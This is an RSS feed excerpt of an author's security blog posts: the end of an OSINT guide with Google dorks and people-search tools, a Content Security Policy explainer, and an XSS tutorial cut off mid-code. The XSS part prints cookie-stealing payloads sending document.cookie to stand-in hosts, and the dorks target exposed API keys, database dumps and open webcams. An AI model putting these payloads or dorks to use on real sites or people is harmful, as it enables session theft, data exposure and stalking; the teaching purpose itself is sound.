/></figure><p><strong>OSINT Sources:</strong></p><ul><li>Internet Search Engines: Utilize advanced search operators for targeted results.</li><li>Social Media Platforms: Extract information from profiles, posts, and comments.</li><li>Public Records and Databases: Access government records, court documents, and registries.</li><li>News Outlets: Monitor news articles, press releases, and official statements.</li><li>Deep and Dark Web: Investigate sources beyond the surface web (with caution).</li><li>Academic Publications: Extract insights from research papers and publications.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*mvK1eZxl-bl1pXyNErxQWw.png" /></figure><h3>OSINT Tools</h3><h4>Google Dork Queries:</h4><p>Google Dork Queries are specialized search queries that utilize advanced search operators to find specific information on the internet.</p><p><strong>Site-specific search:</strong></p><ul><li>site:example.com - Searches for results only within the specified domain.</li><li>site:exploit-db.com</li><li>site:github.com “API Key” filename:.env</li></ul><p><strong>Filetype search:</strong></p><ul><li>filetype:pdf - Finds PDF files related to the search query.</li><li>site:example.com filetype:pdf</li></ul><p><strong>Inurl search:</strong></p><ul><li>inurl:login.php - Looks for pages with &quot;login.php&quot; in the URL.</li><li>inurl:admin</li></ul><p><strong>Intitle search:</strong></p><ul><li>intitle:&quot;index of&quot; - Searches for directories that have &quot;index of&quot; in the title.</li><li>intitle:”index of” filetype:log</li><li>intitle:”login” site:example.com</li><li>intitle:”Index of” /admin</li></ul><p><strong>Link-specific search:</strong></p><ul><li>link:example.com - Lists pages that link to the specified domain.</li></ul><p><strong>Related websites:</strong></p><ul><li>related:example.com - Shows websites similar to the specified domain.</li></ul><p><strong>Cache search:</strong></p><ul><li>cache:example.com - Displays Google&#39;s cached version of the specified site.</li></ul><p><strong>File extension search:</strong></p><ul><li>ext:txt - Finds text files related to the search query.</li><li>site:example.com filetype:pdf OR filetype:doc</li></ul><p><strong>Location-specific search:</strong></p><ul><li>location:&quot;New York&quot; - Searches for content related to the specified location.</li></ul><p><strong>Range search:</strong></p><ul><li>site:example.com.org - Looks for results within a specific domain range.</li></ul><p><strong>Wildcard search:</strong></p><ul><li>filetype:*pdf - Find files of any type with a PDF extension.</li></ul><p><strong>Social media profiles:</strong></p><ul><li>site:facebook.com intext:&quot;Full Name&quot; - Searches for Facebook profiles matching the name &quot;Full Name.&quot;</li><li>site:linkedin.com inurl:in -intitle:directory</li></ul><p><strong>IP Camera Dorks:</strong></p><ul><li>inurl:view/index.shtml — Discover insecure IP cameras.</li></ul><p><strong>Exposed Subdomains:</strong></p><ul><li>Find exposed subdomains of a target domain.</li></ul><pre>site:*.*.example.com</pre><p><strong>Vulnerable WordPress Plugins:</strong></p><ul><li>Search for websites using specific WordPress plugins that may have known vulnerabilities.</li></ul><pre>inurl:/wp-content/plugins/ plugin-name</pre><p><strong>Employee Email Addresses:</strong></p><ul><li>Find email addresses associated with a specific domain.</li></ul><pre>site:example.com intext:&quot;@example.com&quot;</pre><p><strong>Exposed APIs:</strong></p><ul><li>Search for websites exposing APIs.</li></ul><pre>inurl:/swagger.json</pre><p><strong>Exposed Dashboards:</strong></p><ul><li>Discover exposed web dashboards.</li></ul><pre>intitle:&quot;Dashboard&quot; site:example.com</pre><p><strong>Error Messages Revealing Information:</strong></p><ul><li>Look for error messages that may reveal sensitive information.</li></ul><pre>intext:&quot;Error Message&quot; site:example.com</pre><p><strong>Publicly Accessible Git Configurations:</strong></p><ul><li>Search for Git configuration files that may contain sensitive information.</li></ul><pre>inurl:.git ext:config</pre><p><strong>Open Webcams:</strong></p><ul><li>Discover open webcams that may not be properly secured.</li></ul><pre>inurl:&quot;view/index.shtml&quot;</pre><p><strong>Database Dumps:</strong></p><ul><li>Look for publicly accessible database dumps.</li></ul><pre>&quot;sql dump&quot; filetype:sql site:example.com</pre><p><strong>Exposed Documents:</strong></p><ul><li>Find exposed documents, such as spreadsheets or configuration files.</li></ul><pre>ext:pdf OR ext:xls OR ext:doc site:example.com</pre><h4>Shodan</h4><p>Shodan is a search engine designed to locate and index information about internet-connected devices. It is often referred to as the “search engine for hackers” because it allows users to find devices based on various criteria, including open ports, specific services running, and other metadata. Shodan primarily focuses on exposing vulnerabilities in connected devices rather than providing information about websites.</p><p>Here are key features and aspects of Shodan:</p><p><strong>Device Discovery:</strong></p><ul><li>Shodan scans the internet and catalogs information about devices such as webcams, routers, servers, IoT devices, and more.</li><li>Users can search for devices based on criteria like operating system, country, city, and even specific keywords.</li></ul><p><strong>Search Filters:</strong></p><ul><li>Users can utilize various search filters, including country, city, port, hostname, and operating system, to narrow down results.</li></ul><p><strong>Vulnerability Information:</strong></p><ul><li>Shodan can reveal potential security vulnerabilities in devices by showing which ports are open, the services running on those ports, and metadata related to the device.</li></ul><p><strong>Banner Grabbing:</strong></p><ul><li>Shodan collects banners and other information from the services running on open ports to identify specific software versions and configurations.</li></ul><p><strong>API Access:</strong></p><ul><li>Shodan offers API access for developers and security professionals to integrate Shodan data into their applications or security tools.</li></ul><p><strong>Exploit Search:</strong></p><ul><li>Shodan can be used to find devices that may be vulnerable to specific exploits or attacks.</li></ul><p><strong>Monitoring:</strong></p><ul><li>Shodan provides monitoring services, allowing users to set up alerts for specific devices or services.</li></ul><h4>Maltego</h4><p>Maltego is a powerful open-source intelligence (OSINT) and data visualization tool used for gathering and analyzing information about individuals, organizations, and networks. It is commonly used by security professionals, investigators, and intelligence analysts to map relationships, identify connections, and visualize complex data.</p><p>Here are key features and aspects of Maltego:</p><p><strong>Graph-Based Analysis:</strong></p><ul><li>Maltego uses a graph-based approach to represent data relationships visually. Nodes represent entities, and edges represent connections between entities.</li></ul><p><strong>Entity Types:</strong></p><ul><li>Maltego supports various entity types, including persons, organizations, documents, websites, and more. Users can add and link these entities in a graph.</li></ul><p><strong>Transforms:</strong></p><ul><li>Transforms are predefined scripts that gather information about entities from various open sources. They are used to enrich and expand the graph with additional data.</li><li>Maltego has a range of built-in transforms, and users can create custom transforms based on their needs.</li></ul><p><strong>Link Analysis:</strong></p><ul><li>Maltego excels in link analysis by visualizing how entities are connected and identifying relationships between seemingly unrelated pieces of information.</li></ul><p><strong>Collaboration:</strong></p><ul><li>Maltego allows for collaboration among users. Multiple analysts can work on the same graph, making it a valuable tool for teamwork.</li></ul><p><strong>Integration:</strong></p><ul><li>Maltego can integrate with various data sources and APIs. It supports integration with external tools and services, enhancing its capabilities.</li></ul><p><strong>Visualization and Reporting:</strong></p><ul><li>The tool provides visualization options to create clear and comprehensible graphs. Users can generate reports and export data for further analysis.</li></ul><p><strong>Maltego CE and Maltego Classic:</strong></p><ul><li>Maltego Community Edition (CE) is the free version with limited access to transforms and functionalities.</li><li>Maltego Classic is the commercial version with more features, additional transforms, and advanced capabilities.</li></ul><p><strong>Use Cases:</strong></p><ul><li>Maltego is used for a range of purposes, including threat intelligence, cybersecurity investigations, fraud detection, and digital forensics.</li></ul><p><strong>Maltego Servers:</strong></p><ul><li>Maltego requires access to servers that provide transforms. These servers can be run by the Maltego team, or users can set up their servers for custom transform development.</li></ul><h4>FOCA</h4><p>FOCA, which stands for Fingerprinting Organizations with Collected Archives, is a network infrastructure mapping tool designed to extract metadata, hidden information, and information leakage from documents and other files. It is commonly used in the field of information security and penetration testing to gather intelligence about an organization’s IT infrastructure.</p><p>Key features and aspects of FOCA include:</p><p><strong>Metadata Extraction:</strong></p><ul><li>FOCA is capable of extracting metadata (information embedded in files) from various document types, including Microsoft Office documents (Word, Excel, PowerPoint), PDFs, and more.</li></ul><p><strong>Information Leakage Detection:</strong></p><ul><li>The tool identifies and analyzes information leakage in documents and files. Information leakage can include details such as usernames, email addresses, network paths, and server information inadvertently embedded in documents.</li></ul><p><strong>Geolocation and Mapping:</strong></p><ul><li>FOCA can analyze metadata to determine the geolocation of files and map the location of servers and other infrastructure components.</li></ul><p><strong>Domain and Network Enumeration:</strong></p><ul><li>FOCA helps enumerate and discover domains, network paths, and other related information by analyzing the metadata and hidden details within documents.</li></ul><p><strong>Document Fingerprinting:</strong></p><ul><li>FOCA uses fingerprinting techniques to identify common patterns and characteristics in documents, aiding in the identification of document origin and potential relationships.</li></ul><p><strong>Search Engine Queries:</strong></p><ul><li>FOCA can perform searches on various search engines to discover documents and files associated with a particular organization.</li></ul><p><strong>Integration with Shodan:</strong></p><ul><li>FOCA can integrate with Shodan, another tool that scans the internet for connected devices, to provide additional information about an organization’s online presence.</li></ul><h4><strong>Spokeo</strong></h4><p>Spokeo is a people search engine that aggregates publicly available information from various sources to provide detailed profiles about individuals. It is not a traditional social media platform but rather a data broker service that compiles data from online and offline sources. Spokeo is designed to help users find information about people, including contact details, social media profiles, and other personal details.</p><p>Key features and aspects of Spokeo include:</p><p><strong>People Search:</strong></p><ul><li>Users can search for individuals by entering their name, email address, phone number, or address.</li></ul><p><strong>Profile Information:</strong></p><ul><li>Spokeo aggregates data from public records, social networks, and other sources to create detailed profiles. This information may include contact details, family members, education, work history, and more.</li></ul><p><strong>Social Media Integration:</strong></p><ul><li>Spokeo may provide links to the individual’s social media profiles, allowing users to explore additional information.</li></ul><p><strong>Location History:</strong></p><ul><li>The service may display the person’s historical addresses and current location, based on available public records.</li></ul><p><strong>Reverse Phone Lookup:</strong></p><ul><li>Users can perform reverse phone number lookups to find information about a person or business associated with a particular phone number.</li></ul><p><strong>Email Search:</strong></p><ul><li>Spokeo allows users to search for information based on email addresses, revealing associated profiles and details.</li></ul><p><strong>Criminal Records and Court Documents:</strong></p><ul><li>In some cases, Spokeo may provide information about criminal records or court documents associated with the searched individual.</li></ul><p><strong>Subscription Model:</strong></p><ul><li>While Spokeo offers basic information for free, more detailed and extensive reports often require a subscription or one-time payment.</li></ul><h4><strong>Wayback Machine</strong></h4><p>The Wayback Machine is a digital archive of the World Wide Web, created and maintained by the Internet Archive. It allows users to view archived versions of web pages dating back to the late 1990s. The primary purpose of the Wayback Machine is to provide a historical record of how websites looked and what content they hosted at various points in the past.</p><p>Key features and aspects of the Wayback Machine include:</p><p><strong>Web Page Archiving:</strong></p><ul><li>The Wayback Machine periodically crawls and captures snapshots of web pages on the internet. These captures are stored in the Internet Archive’s database.</li></ul><p><strong>Browsing Historical Versions:</strong></p><ul><li>Users can visit the Wayback Machine website and enter a URL to see archived versions of a specific web page. The archives often include multiple snapshots taken over the years.</li></ul><p><strong>Navigating Through Time:</strong></p><ul><li>The Wayback Machine allows users to select a specific date to view the archived version of a web page from that time. This feature is useful for tracking changes, updates, or the historical development of websites.</li></ul><p><strong>Recovering Lost Content:</strong></p><ul><li>In cases where a website has changed or content has been removed, the Wayback Machine may help recover lost information by providing access to previous versions.</li></ul><p><strong>Research and Analysis:</strong></p><ul><li>Researchers, historians, and journalists use the Wayback Machine to study the evolution of websites, track historical events, and analyze changes in online content.</li></ul><p><strong>Preservation of Digital History:</strong></p><ul><li>The Internet Archive’s mission is to preserve digital content, including websites, for future generations. The Wayback Machine is a key component of this effort.</li></ul><p><strong>To use the Wayback Machine:</strong></p><ol><li>Go to the Wayback Machine website (https://archive.org/web/).</li><li>Enter the URL of the website you want to explore.</li><li>Select a date from the calendar to view archived snapshots of the web page.</li></ol><h4>ZoomEye</h4><p>ZoomEye is a search engine designed for discovering and visualizing the Internet of Things (IoT) and other connected devices on the Internet. It is similar to Shodan, another popular search engine for internet-connected devices. ZoomEye is often used by security professionals, researchers, and individuals interested in understanding the security landscape of connected devices.</p><p>Key features and aspects of ZoomEye include:</p><p><strong>Device Discovery:</strong></p><ul><li>ZoomEye scans and indexes devices connected to the internet, including routers, cameras, industrial control systems, servers, and more.</li></ul><p><strong>Search Functionality:</strong></p><ul><li>Users can perform searches using specific keywords, IP addresses, or other criteria to find information about connected devices.</li></ul><p><strong>Filters and Advanced Search:</strong></p><ul><li>ZoomEye provides filters for refining search results based on device types, services, and geographical locations. Users can use advanced search queries to narrow down results.</li></ul><p><strong>Banner Grabbing:</strong></p><ul><li>ZoomEye collects banners and other information from services running on open ports, allowing users to identify specific software versions and configurations.</li></ul><p><strong>Vulnerability Information:</strong></p><ul><li>The platform may highlight potential security vulnerabilities in devices, helping users assess the security posture of connected systems.</li></ul><p><strong>API Access:</strong></p><ul><li>ZoomEye offers API access, allowing developers and security professionals to integrate ZoomEye’s data into their applications or security tools.</li></ul><p><strong>Geographical Mapping:</strong></p><ul><li>Users can visualize the geographical distribution of devices and identify concentrations of connected devices in specific regions.</li></ul><p><strong>Monitoring:</strong></p><ul><li>ZoomEye provides monitoring services, allowing users to track changes and receive alerts for specific devices or services.</li></ul><h4>Recon-ng</h4><p>Recon-ng is an open-source web reconnaissance framework designed for information gathering and reconnaissance during penetration testing engagements. It is written in Python and is highly extensible, allowing security professionals to automate the collection and analysis of information about target environments. Recon-ng provides a modular and customizable approach to reconnaissance, making it a valuable tool for penetration testers and security analysts.</p><p>Key features and aspects of Recon-ng include:</p><p><strong>Modular Framework:</strong></p><ul><li>Recon-ng is built on a modular architecture, with a wide range of modules designed for specific tasks. Modules can be used for tasks such as DNS enumeration, email harvesting, web scraping, and more.</li></ul><p><strong>Extensibility:</strong></p><ul><li>Users can create custom modules to extend the functionality of Recon-ng, allowing for the integration of new tools or techniques.</li></ul><p><strong>Web-Based User Interface:</strong></p><ul><li>Recon-ng provides a web-based user interface that simplifies interaction with the framework. This interface facilitates task management, configuration, and result analysis.</li></ul><p><strong>Automated Information Gathering:</strong></p><ul><li>The framework automates the collection of information from various sources, including WHOIS databases, DNS records, social media platforms, and more.</li></ul><p><strong>Data Storage and Reporting:</strong></p><ul><li>Recon-ng allows users to store and manage collected data in a local database. This facilitates result analysis, reporting, and collaboration among team members.</li></ul><p><strong>Integration with External Tools:</strong></p><ul><li>Recon-ng can integrate with external tools and APIs, enhancing its capabilities. Integration with other reconnaissance tools and frameworks is possible.</li></ul><p><strong>Scalability:</strong></p><ul><li>Recon-ng is scalable and can be used in both small-scale and large-scale reconnaissance efforts. The modular design allows users to select and customize modules based on their specific needs.</li></ul><p><strong>Task Automation:</strong></p><ul><li>The framework supports task automation, allowing users to schedule and execute tasks at specified intervals. This is particularly useful for continuous monitoring and information gathering.</li></ul><h4>theHarvester</h4><p>theHarvester is an open-source tool designed for passive reconnaissance. It is used to gather information about email addresses, subdomains, virtual hosts, and other information related to a target domain. Passive reconnaissance involves collecting data from publicly available sources without actively interacting with the target system. theHarvester is commonly used by security professionals, penetration testers, and ethical hackers during the initial stages of information gathering.</p><p>Key features and aspects of theHarvester include:</p><p><strong>Email Address Enumeration:</strong></p><ul><li>theHarvester can search for and enumerate email addresses associated with a target domain by querying search engines, PGP key servers, and other online sources.</li></ul><p><strong>Subdomain Discovery:</strong></p><ul><li>It is capable of discovering subdomains associated with a target domain by querying search engines, DNS brute-force, and other sources.</li></ul><p><strong>Virtual Host Identification:</strong></p><ul><li>theHarvester can identify virtual hosts associated with a target domain by querying DNS and search engines.</li></ul><p><strong>Data Sources:</strong></p><ul><li>It supports multiple data sources, including popular search engines (Google, Bing, etc.), PGP key servers, LinkedIn, and SHODAN, among others.</li></ul><p><strong>Search Engine Queries:</strong></p><ul><li>theHarvester queries search engines to find information related to the target domain. It retrieves results from different search engines and consolidates the information.</li></ul><p><strong>Integration with APIs:</strong></p><ul><li>It supports the integration of API keys for services like SHODAN, allowing users to access additional information from these external sources.</li></ul><p><strong>Customization and Configuration:</strong></p><ul><li>Users can customize theHarvester by configuring various parameters and options based on the specific requirements of the reconnaissance task.</li></ul><p><strong>Output Formats:</strong></p><ul><li>theHarvester provides results in various output formats, such as HTML, XML, and JSON, making it easy to integrate with other tools and analyze the collected information.</li></ul><h4><strong>Webmii</strong></h4><p>WebMii is a people search engine that aims to aggregate and present information about individuals from various online sources. The platform sought to create comprehensive profiles by collecting publicly available data from social media accounts, blogs, news articles, and other online content related to a specific name or keyword.</p><h4>WhatsMyName Username Enumeration Tool</h4><p>This tool allows you to enumerate usernames across many websites. Simply, it is the best free username enumeration tool available.</p><p><a href="https://whatsmyname.app/">WhatsMyName</a></p><h4>Osintgram</h4><p>Osintgram is a tool that integrates with Instagram to collect information about profiles, posts, and followers. It is useful for social media OSINT investigations.</p><h4>Hunchly</h4><p>Hunchly is a web capture tool designed for investigators. It captures and organizes web pages during research, making it easier to create a chronological record of online activities.</p><h4>Pipl</h4><p>Pipl is a people search engine that aggregates information from a variety of online sources, including social media profiles, public records, and other databases. It aims to provide a complete and accurate representation of an individual.</p><h4><strong>ZabaSearch</strong></h4><p>ZabaSearch is a people search engine that allows users to find information about individuals by entering their name and location. It aggregates data from public records, white pages, and other sources.</p><h4><strong>BeenVerified</strong></h4><p>BeenVerified is a background check service that provides information about people, including contact details, social media profiles, criminal records, and more. It compiles data from various public records.</p><h4>Intelius</h4><p>Intelius is a background check service that provides information on people, including contact details, address history, criminal records, and more. It sources data from public records and other databases.</p><h4>Whitepages</h4><p>Whitepages is a directory that provides contact information for individuals and businesses. It includes information from public records, phone directories, and other sources.</p><h4><strong>PeopleFinders</strong></h4><p>PeopleFinders is a people search and public records search engine that offers information about individuals, including addresses, phone numbers, and more.</p><h4>Metagoofil</h4><p>Metagoofil is a tool for extracting metadata from public documents, such as PDFs and Word files. It can reveal information about an organization’s document structure and potentially sensitive data.</p><h4>Datasploit</h4><p>Datasploit is an OSINT framework that gathers information about a target, including email addresses, subdomains, social media profiles, and more.</p><h4>IntelTechniques by Michael Bazzell</h4><p>Michael Bazzell, a former FBI agent, provides various OSINT resources, including books, tools, and podcasts. His website (<a href="https://inteltechniques.com/">https://inteltechniques.com/</a>) offers valuable insights and techniques.</p><h4>Sherlock</h4><p>Sherlock is a tool designed to find social media profiles across various platforms using a username. It can be useful for tracking an individual’s online presence.</p><h4>SpiderFoot</h4><p>SpiderFoot is an open-source OSINT automation tool that automates the process of collecting information from various sources, including search engines, DNS records, and public databases.</p><h4>Hunter.io</h4><p>Hunter.io is a tool for finding email addresses associated with a particular domain. It’s useful for email enumeration and gathering information about an organization’s email infrastructure.</p><h4>Censys</h4><p>Censys is a search engine that focuses on internet-wide scanning and provides information about devices, networks, and services. It can be used for discovering and analyzing network-related data.</p><h4>FullContact</h4><p>FullContact is a contact management platform that provides information about individuals based on their email addresses or social media profiles. It can help in building detailed profiles.</p><h4>TinEye</h4><p>TinEye is a reverse image search engine that allows users to find where an image appears online. This can be valuable in identifying individuals or tracking the usage of specific images.</p><h4>TweetDeck:</h4><p>TweetDeck is a social media dashboard application for managing and monitoring Twitter accounts. It provides advanced features for users to view, organize, and engage with content on Twitter, including real-time tracking of tweets, mentions, and hashtags.</p><h4>Creepy:</h4><p>Creepy is an open-source geolocation information-gathering tool. It is used for collecting and analyzing geolocation data from social media platforms. Creepy allows users to track and map the locations where photos have been taken and shared online.</p><h4>OSINT Framework:</h4><p>OSINT Framework is not a specific tool but a collection of various open-source intelligence tools and resources organized in a structured manner. It provides a framework for investigators, researchers, and analysts to access a wide range of OSINT tools and data sources conveniently.</p><h4>URLScan:</h4><p>URLScan is a tool that allows users to scan and analyze URLs for potential threats, malicious content, or vulnerabilities. It is often used for security assessments and can check URLs against various blacklists and threat databases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*eTiQ9KlVsOGSOzASaHJoTg.png" /></figure><h3>OSINT Applications</h3><p><strong>Cyber Threat Intelligence (CTI):</strong></p><ul><li>CTI involves the collection and analysis of information to understand potential cyber threats and vulnerabilities. OSINT is crucial in monitoring and assessing the activities of threat actors, identifying new attack vectors, and staying informed about emerging cybersecurity threats.</li></ul><p><strong>Person and Entity Profiling:</strong></p><ul><li>OSINT is widely used to create detailed profiles of individuals or organizations. This can include information such as social media activity, affiliations, online presence, contact details, and other relevant data. Profiling is often performed for security, investigative, or research purposes.</li></ul><p><strong>Security Audits and Penetration Testing:</strong></p><ul><li>OSINT plays a significant role in the initial phases of security audits and penetration testing. Security professionals use OSINT tools to gather information about a target’s infrastructure, potential vulnerabilities, and weak points before conducting more in-depth assessments.</li></ul><p><strong>Risk Analysis and Threat Modeling:</strong></p><ul><li>Risk analysis involves evaluating potential risks to an organization’s assets, and threat modeling helps identify potential threats and vulnerabilities. OSINT contributes by providing external insights into the threat landscape, helping organizations better understand and mitigate risks.</li></ul><p><strong>Investigative Journalism:</strong></p><ul><li>Journalists often leverage OSINT techniques to gather information for investigative reporting. This can include researching individuals, organizations, and events, or uncovering hidden connections. OSINT tools and methodologies aid journalists in verifying information and building compelling narratives.</li></ul><h4>Legal and Ethical Considerations</h4><p><strong>Privacy: </strong>Respect the privacy of individuals and organizations.<br><strong>Ethics:</strong> Adhere to ethical guidelines when collecting and using information.<br><strong>Legal Compliance: </strong>Ensure that information gathering complies with relevant laws.<br><strong>Informed Consent: </strong>Obtain permission when collecting sensitive data.</p><h4>Security Measures</h4><p><strong>Anonymity: </strong>Protect personal information and use VPNs when necessary.<br><strong>Secure Communication:</strong> Use encrypted channels for data transmission.<br><strong>Data Protection:</strong> Safeguard collected information and adhere to data privacy standards.</p><p>Open Source Intelligence plays a crucial role in various domains, providing valuable insights for decision-makers, researchers, and security professionals. While it offers powerful tools for information gathering, it is essential to approach OSINT with a commitment to ethical practices, legal compliance, and respect for privacy. The responsible and strategic application of OSINT contributes to enhanced situational awareness and informed decision-making.</p><ul><li><a href="https://osintframework.com/">OSINT Framework</a></li><li><a href="https://www.maltego.com/">Maltego | OSINT &amp; Cyber Investigations Platform for High-Stakes Cases</a></li><li><a href="https://www.amazon.com/Open-Source-Intelligence-Techniques-Information/dp/1530508908">Open Source Intelligence Techniques: Resources for Searching and Analyzing Online Information</a></li><li><a href="https://www.amazon.com/OSINT-Techniques-Resources-Uncovering-Information/dp/B0BRDLYX75/ref=pd_vtp_h_pd_vtp_h_d_sccl_1/146-5798931-9457401?pd_rd_w=A1nLB&amp;content-id=amzn1.sym.e16c7d1a-0497-4008-b7be-636e59b1dfaf&amp;pf_rd_p=e16c7d1a-0497-4008-b7be-636e59b1dfaf&amp;pf_rd_r=5TD13ZEF00778JDN0XFH&amp;pd_rd_wg=LNbis&amp;pd_rd_r=acf3b927-6a82-425e-9703-ca2263d441f3&amp;pd_rd_i=B0BRDLYX75&amp;psc=1">OSINT Techniques: Resources for Uncovering Online Information</a></li><li><a href="https://www.amazon.com/Extreme-Privacy-What-Takes-Disappear/dp/B09W78GW2T/ref=bmx_dp_1k5ob8tn_d_sccl_2_1/146-5798931-9457401?pd_rd_w=767Sv&amp;content-id=amzn1.sym.2d3e76dc-c4bd-4e07-8ec4-d52b40e7fd91&amp;pf_rd_p=2d3e76dc-c4bd-4e07-8ec4-d52b40e7fd91&amp;pf_rd_r=D8NHZ2K8V00WPFFXCNAT&amp;pd_rd_wg=My8u6&amp;pd_rd_r=4249789f-982e-4b70-b0d0-a7f44ee5aa75&amp;pd_rd_i=B09W78GW2T&amp;psc=1">Extreme Privacy: What It Takes to Disappear</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=03156d3abe19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Content Security Policy]]></title>
            <link>https://medium.com/@derya.cortuk/content-security-policy-fbfbb7f56c40?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbfbb7f56c40</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[content-security-policy]]></category>
            <category><![CDATA[csp]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Thu, 01 Feb 2024 00:03:41 GMT</pubDate>
            <atom:updated>2024-02-01T00:03:41.366Z</atom:updated>
            <content:encoded><![CDATA[<p>Content Security Policy (CSP) is a security standard that helps protect web applications against various types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. CSP provides a way for website administrators to define and control which resources and scripts are allowed to be executed on a web page, thereby reducing the risk of security vulnerabilities.</p><p><strong>Key features and components of the Content Security Policy include:</strong></p><h4>Script Source Whitelisting:</h4><ul><li>CSP allows administrators to define a whitelist of trusted sources from which scripts can be loaded and executed. This helps prevent malicious scripts from being injected into a web page.</li></ul><pre>Content-Security-Policy: script-src &#39;self&#39; https://trusted-scripts.com;</pre><h4>Style Source Whitelisting:</h4><ul><li>Similarly to scripts, CSP allows administrators to specify which stylesheets are allowed to be applied to a page.</li></ul><pre>Content-Security-Policy: style-src &#39;self&#39; https://trusted-styles.com;</pre><h4>Content Source Whitelisting:</h4><ul><li>CSP provides directives to control the loading of various types of content, such as images, fonts, and media files.</li></ul><pre>Content-Security-Policy: img-src &#39;self&#39; https://trusted-images.com;</pre><h4>Nonce-Based Script Execution:</h4><ul><li>CSP supports the use of nonces (random values) to associate a specific nonce with a script tag. This ensures that only scripts with the correct nonce are executed.</li></ul><pre>Content-Security-Policy: script-src &#39;nonce-abc123&#39;;</pre><h4>Hash-Based Script Integrity:</h4><ul><li>CSP allows administrators to include the hash of an inline script or the content of an external script. This ensures that only scripts with a matching hash are executed.</li></ul><pre>Content-Security-Policy: script-src &#39;sha256-abc123...&#39;;</pre><h4>Reporting Mechanism:</h4><ul><li>CSP provides a reporting mechanism that allows administrators to receive reports on policy violations. This helps in identifying and addressing potential security issues.</li></ul><pre>Content-Security-Policy: report-uri /csp-report-endpoint;</pre><h4>Fallbacks and Directives:</h4><ul><li>CSP supports various directives to control the behavior of different types of content. Directives include default-src, upgrade-insecure-requests, and others.</li></ul><pre>Content-Security-Policy: default-src &#39;self&#39;; upgrade-insecure-requests;</pre><p>Implementing a Content Security Policy is an important security practice for web applications. It adds an extra layer of protection by controlling the sources from which content can be loaded, reducing the risk of malicious code execution and data injection attacks. Web developers can configure CSP by including the Content-Security-Policy header in the HTTP response or by using the meta tag within the HTML document.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbfbb7f56c40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-Site Scripting]]></title>
            <link>https://medium.com/@derya.cortuk/cross-site-scripting-82130131e0b4?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/82130131e0b4</guid>
            <category><![CDATA[stored-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[dom-based-xss]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Wed, 31 Jan 2024 19:59:24 GMT</pubDate>
            <atom:updated>2024-01-31T20:01:14.769Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-PPHVUHfwlLcH577FmgYGw.png" /><figcaption><a href="https://portswigger.net/web-security/cross-site-scripting#top">https://portswigger.net/web-security/cross-site-scripting#top</a></figcaption></figure><p>XSS, or Cross-Site Scripting, is a type of security vulnerability that occurs in web applications when an attacker injects malicious scripts into web pages viewed by other users. This can lead to the execution of malicious code in the context of a user’s browser, compromising the security and integrity of the affected web application.</p><p>XSS attacks can have various consequences, including stealing sensitive information (such as login credentials or session tokens), defacing websites, redirecting users to malicious websites, or performing actions on behalf of the user without their consent.</p><h3><strong>There are three main types of XSS attacks:</strong></h3><h4>Stored XSS (Persistent XSS):</h4><p>In a stored XSS attack, the malicious script is permanently stored on the target server (e.g., in a database), and every time a user accesses the affected page, the script is served from the server and executed in the context of the user’s browser.</p><pre>&lt;script&gt;<br>  // Malicious code here<br>  alert(&#39;You have been hacked!&#39;);<br>  // Your evil intentions here<br>&lt;/script&gt;</pre><pre>&lt;script&gt;<br>  const evilCode = `<br>    &lt;script&gt;<br>      fetch(&quot;http://evilwebsite.com/steal?data=&quot; + document.cookie);<br>    &lt;/script&gt;<br>  `;<br>  const innocentPage = document.getElementById(&quot;innocent-page&quot;);<br>  innocentPage.innerHTML = evilCode;<br>&lt;/script&gt;</pre><pre>&lt;script&gt;<br>  var maliciousPayload = &#39;&lt;img src=&quot;evil-image.jpg&quot; onerror=&quot;alert(\&#39;You have been hacked!\&#39;);&quot; /&gt;&#39;;<br>  var vulnerableInput = document.getElementById(&#39;input-field&#39;);<br>  vulnerableInput.value = maliciousPayload;<br>&lt;/script&gt;</pre><p>In this code, we create a variable called maliciousPayload that contains an image tag. The onerror attribute is set to execute an alert box with the message &quot;You have been hacked!&quot; whenever the image fails to load. Next, we locate the vulnerable input field on the targeted website using the getElementById method, and we set its value to our maliciousPayload.</p><p>When an unsuspecting victim visits the page and interacts with the input field, the malicious code will be stored and executed whenever the browser encounters it again.</p><h4>Reflected XSS (Non-Persistent XSS):</h4><p>Reflected XSS (Non-Persistent XSS) occurs when the injected script is embedded in a URL or other input and is reflected to the user by the web application. In this scenario, the malicious script is not permanently stored on the server but is included in the response to a particular request.</p><p>Suppose you have a search functionality on a website, and the search term is included in the URL. The URL might look like this:</p><pre>https://example.com/search?query=user_input</pre><p>Now, if the web application doesn’t properly validate or sanitize the user input and directly includes it in the response, an attacker could craft a malicious link to exploit this vulnerability.</p><pre>Legitimate URL:<br><br>https://example.com/search?query=hello<br>Malicious URL:<br><br>https://example.com/search?query=&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>In the malicious URL, the attacker has injected a script that displays an alert saying ‘XSS’ when the page is loaded. If a user clicks on this link, the script gets executed in their browser, leading to a pop-up alert.</p><pre>&lt;script&gt;<br>  var userInput = &#39;&lt;&lt;INSERT MALICIOUS SCRIPT HERE&gt;&gt;&#39;;<br>  var output = &#39;&lt;span&gt;&#39; + userInput + &#39;&lt;/span&gt;&#39;;<br>  document.write(output);<br>&lt;/script&gt;</pre><pre>&lt;script&gt;<br>  var maliciousCode = document.cookie;<br>  var img = new Image();<br>  img.src = &quot;https://your-evil-server.com/steal.php?cookie=&quot; + encodeURIComponent(maliciousCode);<br>  